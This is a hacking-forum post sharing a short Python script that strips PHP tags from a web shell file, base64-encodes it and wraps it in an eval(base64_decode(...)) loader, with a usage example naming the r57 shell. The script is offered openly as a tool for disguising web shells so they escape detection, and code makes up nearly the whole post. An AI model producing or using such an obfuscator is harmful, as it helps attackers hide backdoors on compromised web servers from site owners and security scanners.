Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (1)

Powered by Vanilla. Made with Bootstrap.
Encoder for php shell
  • s1n4
    Posts: 88
    Hi guys,

    This is a simple tool for encoding php shell (Base64 Encoder).

    #!/usr/bin/python

    ########## ##########
    ##### ____ _____ #####
    ##### ______/_ | ____ / | | #####
    ##### / ___/ | | / \ / | |_ #####
    ##### \___ \ | || | \/ ^ / #####
    ##### /____ > |___||___| /\____ | #####
    ##### \/ \/ |__| #####
    ##### #####
    ##### Encoder for php shell (Base64) #####
    ##### s1n4_c0der[at]yahoo[dot]com #####
    ########## ##########


    import base64, sys, os

    def main() :

    try :
    Input = str(sys.argv[1])
    Output = str(sys.argv[2])
    except:
    print \"\n[*]Usage: %s <Input file> <Output file>\" % os.path.basename(sys.argv[0])
    exit()

    try :
    ifile = open(Input, \"rb\").read()
    except :
    print \"\n[-]Sorry, can't open input file\"
    exit()

    try :
    if \"<?php\" in ifile :
    ifile = ifile.replace(\"<?php\", \"\")

    if \"<?\" in ifile :
    ifile = ifile.replace(\"<?\", \"\")

    ifile = ifile.replace(\"?>\", \"\")
    except :
    pass

    x = \"<?php\neval(base64_decode('\"
    y = base64.b64encode(ifile)
    z = \"'));\n?>\"

    try :
    ofile = open(Output, \"w\")
    ofile.write(x + y + z)
    ofile.close()
    print \"\n[+]Done ;)\"
    except :
    print \"\n[-]Sorry, can't make output file\"

    main()



    #Usage:
    #encoder.py <input file> <output file>

    #For example :
    #encoder.py r57.php r57-encoded.php


    Enjoy ;)